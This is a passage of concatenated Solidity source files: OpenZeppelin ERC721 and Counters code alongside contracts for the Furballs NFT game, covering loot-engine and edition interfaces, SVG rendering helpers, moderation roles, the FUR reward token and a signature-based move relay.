* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.6;
import "../utils/FurLib.sol";
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
/// @title IFurballEdition
/// @author LFG Gaming LLC
/// @notice Interface for a single edition within Furballs
interface IFurballEdition is IERC165 {
function index() external view returns(uint8);
function count() external view returns(uint16);
function maxCount() external view returns (uint16); // total max count in this edition
function addCount(address to, uint16 amount) external returns(bool);
function liveAt() external view returns(uint64);
function minted(address addr) external view returns(uint16);
function maxMintable(address addr) external view returns(uint16);
function maxAdoptable() external view returns (uint16); // how many can be adopted, out of the max?
function purchaseFur() external view returns(uint256); // amount of FUR for buying
function spawn() external returns (uint256, uint16);
/// @notice Calculates the effects of the loot in a Furball's inventory
function modifyReward(
FurLib.RewardModifiers memory modifiers, uint256 tokenId
) external view returns(FurLib.RewardModifiers memory);
/// @notice Renders a JSON object for tokenURI
function tokenMetadata(
bytes memory attributes, uint256 tokenId, uint256 number
) external view returns(bytes memory);
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.6;
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import "../editions/IFurballEdition.sol";
import "../utils/FurLib.sol";
/// @title ILootEngine
/// @author LFG Gaming LLC
/// @notice The loot engine is patchable by replacing the Furballs' engine with a new version
interface ILootEngine is IERC165 {
/// @notice When a Furball comes back from exploration, potentially give it some loot.
function dropLoot(uint32 intervals, FurLib.RewardModifiers memory mods) external returns(uint128);
/// @notice Players can pay to re-roll their loot drop on a Furball
function upgradeLoot(
FurLib.RewardModifiers memory modifiers,
address owner,
uint128 lootId,
uint8 chances
) external returns(uint128);
/// @notice Some zones may have preconditions
function enterZone(uint256 tokenId, uint32 zone, uint256[] memory team) external returns(uint256);
/// @notice Calculates the effects of the loot in a Furball's inventory
function modifyReward(
FurLib.Furball memory furball,
FurLib.RewardModifiers memory baseModifiers,
FurLib.Account memory account,
bool contextual
) external view returns(FurLib.RewardModifiers memory);
/// @notice Loot can have different weight to help prevent over-powering a furball
function weightOf(uint128 lootId) external pure returns (uint16);
/// @notice JSON object for displaying metadata on OpenSea, etc.
function attributesMetadata(uint256 tokenId) external view returns(bytes memory);
/// @notice Get a potential snack for the furball by its ID
function getSnack(uint32 snack) external view returns(FurLib.Snack memory);
/// @notice Proxy registries are allowed to act as 3rd party trading platforms
function canProxyTrades(address owner, address operator) external view returns(bool);
/// @notice Authorization mechanics are upgradeable to account for security patches
function approveSender(address sender) external view returns(uint);
/// @notice Called when a Furball is traded to update delegate logic
function onTrade(
FurLib.Furball memory furball, address from, address to
) external;
/// @notice Handles experience gain during collection
function onExperience(
FurLib.Furball memory furball, address owner, uint32 experience
) external returns(uint32 totalExp, uint16 level);
/// @notice Gets called at the beginning of token render; could add underlaid artwork
function render(uint256 tokenId) external view returns(string memory);
/// @notice The loot engine can add descriptions to furballs metadata
function furballDescription(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.6;
import "./LootEngine.sol";
/// @title EngineA
/// @author LFG Gaming LLC
/// @notice Concrete implementation of LootEngine
contract EngineA is LootEngine {
constructor(address furballs, address tradeProxy, address companyProxy)
LootEngine(furballs, tradeProxy, companyProxy) { }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
import "./FurLib.sol";
/// @title FurLib
/// @author LFG Gaming LLC
/// @notice Public utility library around game-specific equations and constants
library FurDefs {
function rarityName(uint8 rarity) internal pure returns(string memory) {
if (rarity == 0) return "Common";
if (rarity == 1) return "Elite";
if (rarity == 2) return "Mythic";
if (rarity == 3) return "Legendary";
return "Ultimate";
}
function raritySuffix(uint8 rarity) internal pure returns(string memory) {
return rarity == 0 ? "" : string(abi.encodePacked(" (", rarityName(rarity), ")"));
}
function renderPoints(uint64 ptr, bytes memory data) internal pure returns (uint64, bytes memory) {
uint8 cnt = uint8(data[ptr]);
ptr++;
bytes memory points = "";
for (uint256 i=0; i<cnt; i++) {
uint16 x = uint8(data[ptr]) * 256 + uint8(data[ptr + 1]);
uint16 y = uint8(data[ptr + 2]) * 256 + uint8(data[ptr + 3]);
points = abi.encodePacked(points, FurLib.uint2str(x), ',', FurLib.uint2str(y), i == (cnt - 1) ? '': ' ');
ptr += 4;
}
return (ptr, abi.encodePacked('points="', points, '" '));
}
function renderTransform(uint64 ptr, bytes memory data) internal pure returns (uint64, bytes memory) {
uint8 len = uint8(data[ptr]);
ptr++;
bytes memory points = "";
for (uint256 i=0; i<len; i++) {
bytes memory point = "";
(ptr, point) = unpackFloat(ptr, data);
points = i == (len - 1) ? abi.encodePacked(points, point) : abi.encodePacked(points, point, ' ');
}
return (ptr, abi.encodePacked('transform="matrix(', points, ')" '));
}
function renderDisplay(uint64 ptr, bytes memory data) internal pure returns (uint64, bytes memory) {
string[2] memory vals = ['inline', 'none'];
return (ptr + 1, abi.encodePacked('display="', vals[uint8(data[ptr])], '" '));
}
function renderFloat(uint64 ptr, bytes memory data) internal pure returns (uint64, bytes memory) {
uint8 propType = uint8(data[ptr]);
string[2] memory floatMap = ['opacity', 'offset'];
bytes memory floatVal = "";
(ptr, floatVal) = unpackFloat(ptr + 1, data);
return (ptr, abi.encodePacked(floatMap[propType], '="', floatVal,'" '));
}
function unpackFloat(uint64 ptr, bytes memory data) internal pure returns(uint64, bytes memory) {
uint8 decimals = uint8(data[ptr]);
ptr++;
if (decimals == 0) return (ptr, '0');
uint8 hi = decimals / 16;
uint16 wholeNum = 0;
decimals = decimals % 16;
if (hi >= 10) {
wholeNum = uint16(uint8(data[ptr]) * 256 + uint8(data[ptr + 1]));
ptr += 2;
} else if (hi >= 8) {
wholeNum = uint16(uint8(data[ptr]));
ptr++;
}
if (decimals == 0) return (ptr, abi.encodePacked(hi % 2 == 1 ? '-' : '', FurLib.uint2str(wholeNum)));
bytes memory remainder = new bytes(decimals);
for (uint8 d=0; d<decimals; d+=2) {
remainder[d] = bytes1(48 + uint8(data[ptr] >> 4));
if ((d + 1) < decimals) {
remainder[d+1] = bytes1(48 + uint8(data[ptr] & 0x0f));
}
ptr++;
}
return (ptr, abi.encodePacked(hi % 2 == 1 ? '-' : '', FurLib.uint2str(wholeNum), '.', remainder));
}
function renderInt(uint64 ptr, bytes memory data) internal pure returns (uint64, bytes memory) {
uint8 propType = uint8(data[ptr]);
string[13] memory intMap = ['cx', 'cy', 'x', 'x1', 'x2', 'y', 'y1', 'y2', 'r', 'rx', 'ry', 'width', 'height'];
uint16 val = uint16(uint8(data[ptr + 1]) * 256) + uint8(data[ptr + 2]);
if (val >= 0x8000) {
return (ptr + 3, abi.encodePacked(intMap[propType], '="-', FurLib.uint2str(uint32(0x10000 - val)),'" '));
}
return (ptr + 3, abi.encodePacked(intMap[propType], '="', FurLib.uint2str(val),'" '));
}
function renderStr(uint64 ptr, bytes memory data) internal pure returns(uint64, bytes memory) {
string[4] memory strMap = ['id', 'enable-background', 'gradientUnits', 'gradientTransform'];
uint8 t = uint8(data[ptr]);
require(t < 4, 'STR');
bytes memory str = "";
(ptr, str) = unpackStr(ptr + 1, data);
return (ptr, abi.encodePacked(strMap[t], '="', str, '" '));
}
function unpackStr(uint64 ptr, bytes memory data) internal pure returns(uint64, bytes memory) {
uint8 len = uint8(data[ptr]);
bytes memory str = bytes(new string(len));
for (uint8 i=0; i<len; i++) {
str[i] = data[ptr + 1 + i];
}
return (ptr + 1 + len, str);
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.6;
import "@openzeppelin/contracts/access/Ownable.sol";
/// @title Moderated
/// @author LFG Gaming LLC
/// @notice Administration & moderation permissions utilities
abstract contract Moderated is Ownable {
mapping (address => bool) public admins;
mapping (address => bool) public moderators;
function setAdmin(address addr, bool set) external onlyOwner {
require(addr != address(0));
admins[addr] = set;
}
/// @notice Moderated ownables may not be renounced (only transferred)
function renounceOwnership() public override onlyOwner {
require(false, 'OWN');
}
function setModerator(address mod, bool set) external onlyAdmin {
require(mod != address(0));
moderators[mod] = set;
}
function isAdmin(address addr) public virtual view returns(bool) {
return owner() == addr || admins[addr];
}
function isModerator(address addr) public virtual view returns(bool) {
return isAdmin(addr) || moderators[addr];
}
modifier onlyModerators() {
require(isModerator(msg.sender), 'MOD');
_;
}
modifier onlyAdmin() {
require(isAdmin(msg.sender), 'ADMIN');
_;
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.6;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./Furballs.sol";
import "./editions/IFurballEdition.sol";
import "./utils/FurProxy.sol";
/// @title Fur
/// @author LFG Gaming LLC
/// @notice Utility token for in-game rewards in Furballs
contract Fur is ERC20, FurProxy {
// n.b., this contract has some unusual tight-coupling between FUR and Furballs
// Simple reason: this contract had more space, and is the only other allowed to know about ownership
// Thus it serves as a sort of shop meta-store for Furballs
// tokenId => mapping of fed _snacks
mapping(uint256 => FurLib.Snack[]) public _snacks;
// Internal cache for speed.
uint256 private _intervalDuration;
constructor(address furballsAddress) FurProxy(furballsAddress) ERC20("Fur", "FUR") {
_intervalDuration = furballs.intervalDuration();
}
// -----------------------------------------------------------------------------------------------
// Public
// -----------------------------------------------------------------------------------------------
/// @notice Returns the snacks currently applied to a Furball
function snacks(uint256 tokenId) external view returns(FurLib.Snack[] memory) {
return _snacks[tokenId];
}
/// @notice Write-function to cleanup the snacks for a token (remove expired)
function cleanSnacks(uint256 tokenId) public returns (uint256) {
if (_snacks[tokenId].length == 0) return 0;
return _cleanSnack(tokenId, 0);
}
/// @notice The public accessor calculates the snack boosts
function snackEffects(uint256 tokenId) external view returns(uint256) {
uint16 hap = 0;
uint16 en = 0;
for (uint32 i=0; i<_snacks[tokenId].length && i <= FurLib.Max32; i++) {
uint256 remaining = _snackTimeRemaning(_snacks[tokenId][i]);
if (remaining > 0) {
hap += _snacks[tokenId][i].happiness;
en += _snacks[tokenId][i].energy;
}
}
return (hap * 0x10000) + (en);
}
// -----------------------------------------------------------------------------------------------
// GameAdmin
// -----------------------------------------------------------------------------------------------
/// @notice FUR can only be minted by furballs doing battle.
function earn(address addr, uint256 amount) external gameAdmin {
if (amount == 0) return;
_mint(addr, amount);
}
/// @notice FUR can be spent by Furballs, or by the LootEngine (shopping, in the future)
function spend(address addr, uint256 amount) external gameAdmin {
_burn(addr, amount);
}
/// @notice Pay any necessary fees to mint a furball
/// @dev Delegated logic from Furballs;
function purchaseMint(
address from, uint8 permissions, address to, IFurballEdition edition
) external gameAdmin returns (bool) {
require(edition.maxMintable(to) > 0, "LIVE");
uint32 cnt = edition.count();
uint32 adoptable = edition.maxAdoptable();
bool requiresPurchase = cnt >= adoptable;
if (requiresPurchase) {
// _gift will throw if cannot gift or cannot afford cost
_gift(from, permissions, to, edition.purchaseFur());
}
return requiresPurchase;
}
/// @notice Attempts to purchase an upgrade for a loot item
/// @dev Delegated logic from Furballs
function purchaseUpgrade(
FurLib.RewardModifiers memory modifiers,
address from, uint8 permissions, uint256 tokenId, uint128 lootId, uint8 chances
) external gameAdmin returns(uint128) {
address owner = furballs.ownerOf(tokenId);
// _gift will throw if cannot gift or cannot afford cost
_gift(from, permissions, owner, 500 * uint256(chances));
return furballs.engine().upgradeLoot(modifiers, owner, lootId, chances);
}
/// @notice Attempts to purchase a snack using templates found in the engine
/// @dev Delegated logic from Furballs
function purchaseSnack(
address from, uint8 permissions, uint256 tokenId, uint32 snackId, uint16 count
) external gameAdmin {
FurLib.Snack memory snack = furballs.engine().getSnack(snackId);
require(snack.count > 0, "COUNT");
require(snack.fed == 0, "FED");
// _gift will throw if cannot gift or cannot afford costQ
_gift(from, permissions, furballs.ownerOf(tokenId), snack.furCost * count);
uint256 snackData = _cleanSnack(tokenId, snack.snackId);
uint32 existingSnackNumber = uint32(snackData / 0x100000000);
snack.count *= count;
if (existingSnackNumber > 0) {
// Adding count effectively adds duration to the active snack
_snacks[tokenId][existingSnackNumber - 1].count += snack.count;
} else {
// A new snack just gets pushed onto the array
snack.fed = uint64(block.timestamp);
_snacks[tokenId].push(snack);
}
}
// -----------------------------------------------------------------------------------------------
// Internal
// -----------------------------------------------------------------------------------------------
/// @notice Both removes inactive _snacks from a token and searches for a specific snack Id index
/// @dev Both at once saves some size & ensures that the _snacks are frequently cleaned.
/// @return The index+1 of the existing snack
function _cleanSnack(uint256 tokenId, uint32 snackId) internal returns(uint256) {
uint32 ret = 0;
uint16 hap = 0;
uint16 en = 0;
for (uint32 i=1; i<=_snacks[tokenId].length && i <= FurLib.Max32; i++) {
FurLib.Snack memory snack = _snacks[tokenId][i-1];
// Has the snack transitioned from active to inactive?
if (_snackTimeRemaning(snack) == 0) {
if (_snacks[tokenId].length > 1) {
_snacks[tokenId][i-1] = _snacks[tokenId][_snacks[tokenId].length - 1];
}
_snacks[tokenId].pop();
i--; // Repeat this idx
continue;
}
hap += snack.happiness;
en += snack.energy;
if (snackId != 0 && snack.snackId == snackId) {
ret = i;
}
}
return (ret * 0x100000000) + (hap * 0x10000) + (en);
}
/// @notice Check if the snack is active; returns 0 if inactive, otherwise the duration
function _snackTimeRemaning(FurLib.Snack memory snack) internal view returns(uint256) {
if (snack.fed == 0) return 0;
uint256 expiresAt = uint256(snack.fed + (snack.count * snack.duration * _intervalDuration));
return expiresAt <= block.timestamp ? 0 : (expiresAt - block.timestamp);
}
/// @notice Enforces (requires) only admins/game may give gifts
/// @param to Whom is this being sent to?
/// @return If this is a gift or not.
function _gift(address from, uint8 permissions, address to, uint256 furCost) internal returns(bool) {
bool isGift = to != from;
// Only admins or game engine can send gifts (to != self), which are always free.
require(!isGift || permissions >= FurLib.PERMISSION_ADMIN, "GIFT");
if (!isGift && furCost > 0) {
_burn(from, furCost);
}
return isGift;
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.6;
import "./Furballs.sol";
import "./utils/FurProxy.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol";
/// @title Furballs
/// @author LFG Gaming LLC
/// @notice Has permissions to act as a proxy to the Furballs contract
/// @dev https://soliditydeveloper.com/ecrecover
contract Furgreement is EIP712, FurProxy {
mapping(address => uint256) private nonces;
address[] public addressQueue;
mapping(address => PlayMove) public pendingMoves;
// A "move to be made" in the sig queue
struct PlayMove {
uint32 zone;
uint256[] tokenIds;
}
constructor(address furballsAddress) EIP712("Furgreement", "1") FurProxy(furballsAddress) { }
/// @notice Proxy playMany to Furballs contract
function playFromSignature(
bytes memory signature,
address owner,
PlayMove memory move,
uint256 deadline
) external {
bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
keccak256("playMany(address owner,PlayMove memory move,uint256 nonce,uint256 deadline)"),
owner,
move,
nonces[owner],
deadline
)));
address signer = ECDSA.recover(digest, signature);
require(signer == owner, "playMany: invalid signature");
require(signer != address(0), "ECDSA: invalid signature");
require(block.timestamp < deadline, "playMany: signed transaction expired");
nonces[owner]++;
if (pendingMoves[owner].tokenIds.length == 0) {
addressQueue.push(owner);
}
pendingMoves[owner] = move;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
